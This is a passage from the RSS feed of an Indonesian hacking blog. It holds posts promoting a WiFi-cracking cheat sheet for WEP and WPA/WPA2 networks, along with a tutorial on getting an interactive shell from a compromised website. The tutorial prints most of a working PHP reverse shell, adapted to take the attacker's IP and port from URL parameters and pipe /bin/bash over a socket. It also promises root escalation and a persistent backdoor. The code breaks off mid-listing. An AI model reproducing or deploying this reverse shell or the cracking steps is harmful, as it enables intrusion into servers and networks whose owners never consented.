		<description><![CDATA[Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK. Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK.</p>
<p style="text-align: justify;">Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh untuk menyederhanakan video. Informasi MAC address access point dan MAC address client bisa didapatkan dengan menjalankan &#8220;airodump-ng wlan0&#8243; , sedangkan informasi MAC address komputer sendiri bisa didapatkan dengan menjalankan &#8220;macchanger -s wlan0&#8243;.</p>
<p><strong>Clientless WEP</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/pDXKTE1qKkM&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/pDXKTE1qKkM&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><span id="more-2351"></span></p>
<p><strong>WEP Shared Key Authentication</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/KvyRR2NLoGs&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/KvyRR2NLoGs&amp;hl=en_US&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>WEP Open System Authentication</strong><br />
<object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/NtX1exmZMm0&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/NtX1exmZMm0&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><strong>WPA/WPA2 Pre-Shared-Key</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/4uR8_aclO5Q&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/4uR8_aclO5Q&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>WiFu Cheat Sheet</title>
		<link>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/</link>
		<comments>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 07:24:09 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2335</guid>
		<description><![CDATA[Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya. Pre-requisite: Backtrack, nggak harus tapi very recommended Wireless adapter [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.</p>
<p>Pre-requisite:</p>
<ul>
<li>Backtrack, nggak harus tapi very recommended</li>
<li style="text-align: justify;">Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini <a href="http://backtrack.offensive-security.com/index.php/HCL:Wireless">HCL: Wireless</a>.</li>
</ul>
<p style="text-align: justify;">Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:</p>
<ul>
<li>WEP open authentication dengan client atau tanpa client (clientless WLAN)</li>
<li>WEP shared key authentication (minimal harus ada 1 client)</li>
<li>WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)</li>
</ul>
<p style="text-align: justify;">Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.</p>
<p>Oke, selanjutnya langsung saja download cheat sheetnya: <a href="/wp-content/uploads/2010/07/wifu-cheat-sheet.pdf">WiFu Cheat Sheet 1.0</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Reverse Connecting Shell di PHP</title>
		<link>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/</link>
		<comments>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 06:54:07 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2267</guid>
		<description><![CDATA[Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif. Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.</p>
<p style="text-align: justify;">Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.</p>
<p><span id="more-2267"></span></p>
<p style="text-align: justify;"><strong>Reverse Shell PHP di Linux<br />
</strong></p>
<p style="text-align: justify;">Saya memakai reverse shell php dari situs <a href="http://pentestmonkey.net/tools/php-reverse-shell/">pentestmonkey.net</a> dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.</p>
<p style="text-align: justify;">Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'127.0.0.1'</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// CHANGE THIS</span>
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1234</span><span style="color: #339933;">;</span>       <span style="color: #666666; font-style: italic;">// CHANGE THIS</span>
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">Jadi source code lengkap rs.php adalah sebagai berikut:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$write_a</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$error_a</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$shell</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/bin/bash -p -i'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$daemon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$debug</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pcntl_fork'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">// Fork and have the parent process exit</span>
	<span style="color: #000088;">$pid</span> <span style="color: #339933;">=</span> pcntl_fork<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$pid</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Can't fork&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$pid</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Parent exits</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Make the current process a session leader</span>
	<span style="color: #666666; font-style: italic;">// Will only succeed if we forked</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">posix_setsid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: Can't setsid()&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000088;">$daemon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Change to a safe directory</span>
<span style="color: #990000;">chdir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Remove any umask we inherited</span>
<span style="color: #990000;">umask</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$sock</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errno</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errstr</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$errstr</span> (<span style="color: #006699; font-weight: bold;">$errno</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Spawn shell process</span>
<span style="color: #000088;">$descriptorspec</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
   <span style="color: #cc66cc;">0</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>  <span style="color: #666666; font-style: italic;">// stdin is a pipe that the child will read from</span>
   <span style="color: #cc66cc;">1</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>  <span style="color: #666666; font-style: italic;">// stdout is a pipe that the child will write to</span>
   <span style="color: #cc66cc;">2</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span>   <span style="color: #666666; font-style: italic;">// stderr is a pipe that the child will write to</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$process</span> <span style="color: #339933;">=</span> <span style="color: #990000;">proc_open</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$shell</span><span style="color: #339933;">,</span> <span style="color: #000088;">$descriptorspec</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_resource</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$process</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Can't spawn shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Set everything to non-blocking</span>
<span style="color: #666666; font-style: italic;">// Reason: Occsionally reads will block, even though stream_select tells us they won't</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Successfully opened reverse shell to <span style="color: #006699; font-weight: bold;">$ip</span>:<span style="color: #006699; font-weight: bold;">$port</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">// Check for end of TCP connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Shell connection terminated&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Check for end of STDOUT</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Shell process terminated&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Wait until a command is end down $sock, or some</span>
	<span style="color: #666666; font-style: italic;">// command output is available on STDOUT or STDERR</span>
	<span style="color: #000088;">$read_a</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$num_changed_sockets</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_select</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$read_a</span><span style="color: #339933;">,</span> <span style="color: #000088;">$write_a</span><span style="color: #339933;">,</span> <span style="color: #000088;">$error_a</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the TCP socket, send</span>
	<span style="color: #666666; font-style: italic;">// data to process's STDIN</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SOCK READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SOCK: <span style="color: #006699; font-weight: bold;">$input</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the process's STDOUT</span>
	<span style="color: #666666; font-style: italic;">// send data down tcp connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;STDOUT READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
